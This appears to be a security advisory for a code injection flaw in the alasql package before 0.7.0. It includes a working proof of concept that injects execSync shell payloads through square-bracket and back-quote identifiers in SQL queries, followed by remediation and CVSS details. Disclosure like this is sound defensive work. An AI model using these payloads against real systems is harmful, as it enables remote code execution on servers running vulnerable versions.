Arbitrary Code Injection

Affecting alasql package, versions <0.7.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

alasql is an Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV

Affected versions of this package are vulnerable to Arbitrary Code Injection. AlaSQL doesn't restrict characters in square brackets ([ ]) or back-quote (`) by design. When an SQL query is compiled into JavaScript code, those strings are concatenated into the generated JavaScript without sanitization, causing a code injection vulnerability.

POC

const alasql = require('alasql');

const genPayload = command => `
new Function(
    'return this.process.mainModule.require'
)()('child_process').execSync(${JSON.stringify(command)})
`;


res = alasql(
    // Initialize the database
    'CREATE table i_am_a_table;' +
    `INSERT INTO i_am_a_table VALUES (1337);` +

    // Code injection in four different ways
    `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
    `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
    `SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
    `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

Remediation

Upgrade alasql to version 0.7.0 or higher.

References

CVSS Score

8.1
high severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C
Credit
Unknown
CWE
CWE-94
Snyk ID
SNYK-JS-ALASQL-1082932
Disclosed
05 Mar, 2021
Published
05 Mar, 2021